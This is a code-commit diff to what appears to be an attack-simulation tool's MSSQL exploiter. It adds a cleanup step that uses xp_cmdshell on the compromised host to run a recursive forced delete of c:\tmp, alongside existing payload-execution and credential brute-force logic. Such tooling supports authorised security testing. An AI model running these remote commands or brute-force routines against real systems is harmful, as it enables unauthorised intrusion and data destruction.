* Added a cleanup function to attack's files

infection_monkey/exploit/mssqlexec.py

@@ -57,12 +57,14 @@ class MSSQLExploiter(HostExploiter):
             LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
             if chosen_attack.execute_payload():
                 LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
+                chosen_attack.cleanup_files()
                 return True
             else:
                 LOG.error("Payload: {0} couldn't be executed".format(payload))
         else:
             LOG.error("Payload: {0} couldn't be sent to host".format(payload))
 
+        chosen_attack.cleanup_files()
         return False
 
     def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):

infection_monkey/exploit/mssqlexec_utils.py

@@ -1,7 +1,6 @@
 import os
 import multiprocessing
 import logging
-import socket
 
 import pymssql
 
@@ -180,6 +179,20 @@ class CmdShellAttack(AttackHost):
             self.ftp_server_p.terminate()
             return False
 
+    def cleanup_files(self):
+        """
+            Cleans up the folder with the attack related files (C:\\tmp by default)
+        :return: True or False if command executed or not.
+        """
+        cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
+        try:
+            self.cursor.execute(cleanup_command)
+            LOG.info('Attack files cleanup command has been sent.')
+            return True
+        except Exception as e:
+            LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
+            return False
+
     def __init_ftp_server(self):
         """
             Init an FTP server using FTP class on a different process
@@ -199,7 +212,3 @@ class CmdShellAttack(AttackHost):
         except Exception as e:
             LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
             return None, None
-
-    def __find_own_ip(self):
-        ip_list = [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")]
-        return ip_list[0]